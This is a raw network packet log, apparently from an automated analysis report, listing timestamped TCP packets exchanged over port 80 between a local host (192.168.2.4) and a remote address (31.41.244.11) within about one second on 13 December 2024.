Dec 13, 2024 01:51:13.248605013 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.249402046 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.249458075 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.249465942 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.249525070 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.250380039 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.250458002 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.250504017 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.250562906 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.251375914 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.251430988 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.251435041 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.251485109 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.252327919 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.252454996 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.252495050 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.252495050 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.253319025 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.253426075 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.253437042 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.253505945 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.254280090 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.254343987 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.254405975 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.254602909 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.255266905 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.255352974 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.255414009 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.255479097 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.256220102 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.256280899 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.256331921 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.256383896 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.257189989 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.257268906 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.257316113 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.257371902 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.258162022 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.258224010 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.258261919 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.258462906 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.259146929 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.259237051 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.259270906 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.259356022 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.260118008 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.260174990 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.260224104 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.260292053 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.261105061 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.261162043 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.261217117 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.261321068 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.262052059 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.262109041 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.262175083 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.262228012 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.263097048 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.263154030 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.263173103 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.263223886 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.264039993 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.264098883 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.264168024 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.264221907 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.265007019 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.265064001 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.265166998 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.265222073 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.265974998 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.266048908 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.266107082 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.266161919 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.266927958 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.266979933 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.267167091 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.267247915 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.267910004 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.267971039 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.268030882 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.268085003 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.268881083 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.268975973 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.269036055 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.269851923 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.269918919 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.269970894 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.270025969 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.270837069 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.270893097 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.270936966 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.270991087 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.271796942 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.271850109 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.271881104 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.271955013 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.272769928 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.272830009 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.272885084 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.272948027 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.273745060 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.273792982 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.273834944 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.273880005 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.274743080 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.274796963 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.274851084 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.274895906 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.275696039 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.275743961 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.275815010 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.275954962 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.276664019 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.276710033 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.276755095 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.276797056 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.277650118 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.277708054 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.277745008 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.277786970 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.278620958 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.278670073 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.278688908 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.278733015 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.420707941 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.420762062 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.420919895 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.420919895 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.421175957 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.421289921 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.421412945 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.421413898 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.421864986 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.421952009 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.421957016 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.422055006 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.422780991 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.422854900 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.422895908 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.422950029 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.423762083 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.423846960 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.423862934 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.423932076 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.424741030 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.424844027 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.424850941 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.424973011 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.425719023 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.425776958 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.425838947 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.425966024 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.426672935 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.426757097 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.426817894 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.426887035 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.427670956 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.427752018 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.427783966 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.427886963 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.428632021 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.428711891 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.428759098 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.428807974 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.429591894 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.429667950 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.429716110 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.429779053 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.430558920 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.430619955 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.430687904 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.430783033 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.431555033 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.431612015 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.431667089 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.431716919 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.432552099 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.432621002 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.432691097 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.432744026 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.433500051 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.433552980 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.433660984 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.434181929 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.434478998 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.434556007 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.434608936 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.434674025 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.435445070 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.435514927 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.435580969 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.435630083 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.436427116 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.436486959 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.436563015 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.436631918 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.437387943 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.437448025 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.437458992 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.437500000 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.438358068 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.438410044 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.438483000 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.438546896 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.439376116 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.439536095 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.439574957 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.439604998 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.440335989 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.440455914 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.440511942 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.441293955 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.441401958 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.441462040 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.442269087 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.442329884 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.442389011 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.442471027 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.443231106 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.443376064 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.443416119 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.443464994 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.444231987 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.444325924 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.444358110 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.444421053 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.445184946 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.445242882 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.445312977 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.445522070 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.446157932 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.446244955 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.446278095 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.446329117 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.447154045 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.447206020 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.447222948 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.447274923 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.448098898 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.448153973 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.448214054 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.448298931 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.449100971 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.449153900 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.449208021 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.449254036 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.450053930 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.450109959 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.450181961 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.450263977 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.451016903 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.451150894 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.451215029 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.452032089 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.452131033 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.452169895 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.452199936 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.452990055 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.453053951 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.453115940 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.453994989 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.454046011 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.454087019 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.454133987 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.454941034 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.455039024 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.455077887 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.455161095 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.455909014 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.455959082 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.456023932 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.456132889 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.456907034 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.456959963 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.457021952 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.457070112 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.457861900 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.457911968 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.457983971 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.458832026 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.458892107 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.458951950 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.459804058 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.459872007 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.459934950 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.459981918 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.460787058 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.460931063 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.460990906 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.461757898 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.461852074 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.461894035 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.461941957 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.462726116 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.462780952 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.462865114 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.462922096 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.463671923 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.463721037 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.463804960 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.463937044 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.464684963 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.464740992 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.464833021 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.464881897 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.465678930 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.465727091 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.465785980 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.465836048 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.466667891 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.466722012 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.466834068 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.466953039 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.467583895 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.467680931 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.467720985 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.467777014 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.468564034 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.468633890 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.468673944 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.468727112 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.469563007 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.469679117 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.469701052 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.469762087 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.470508099 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.470635891 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.470675945 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.470675945 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.471441984 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.471782923 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.612584114 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.612669945 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.612761021 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.612993956 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.613059998 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.613106966 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.613425970 CET	49765	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:13.614000082 CET	80	49765	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:13.614072084 CET	49765	80	192.168.2.4	31.41.244.11
